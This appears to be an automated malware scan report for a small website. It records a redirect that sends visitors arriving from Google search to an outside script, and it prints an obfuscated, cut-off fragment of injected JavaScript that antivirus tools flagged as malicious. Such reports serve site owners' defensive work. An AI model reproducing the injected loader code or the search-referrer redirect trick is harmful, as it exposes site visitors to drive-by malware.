Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://rhohno.co.uk/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: rhohno.co.uk Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 17 Sep 2014 09:44:26 GMT Location: http://merz-podcast.de/i/c.php Server: Apache Content-Length: 238 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://rhohno.co.uk/ | 200 OK Content-Length: 544 Content-Type: text/html | clean |
http://rhohno.co.uk/test404page.js | 404 Not Found Content-Length: 7532 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) d='function g_p(file ,b >t YG="GE ;= [ +cg="" Je +L=tru % +c.offset=100 Qs Yy =z =A =D ! C8 H +C =B ! C8 H Qu Ys ]+t ]Qcd YH(); -sxml2 V1 C-icrosoft V2 ,b=null}}if(! b){if(typeof F!="undefined" ,b 9 F ]* L= 2}} Qo NE, ? ,g[g_E]= .( ?,false) QS NE, ?, <vars C32== <vars C< .( $g_E), $ ?)) * g[ $g_E)]= .( $ ?) U} Qx Nn,g_R){g_N= $ Wf);regexp 9RegExp( Wf+"|"+g_N); B. On 5regexp) Ei=0;i< B. 6;i++){g_k= B.[i] 5"="); 32= OR ,S A * o A}}}; [.trim NE,g_h){if("qabcdef".indexOf(g_E.substr Antivirus reports:
|
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=rhohno.co.uk
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://rhohno.co.uk/
Result: rhohno.co.uk is not infected or malware details are not published yet.
Result: rhohno.co.uk is not infected or malware details are not published yet.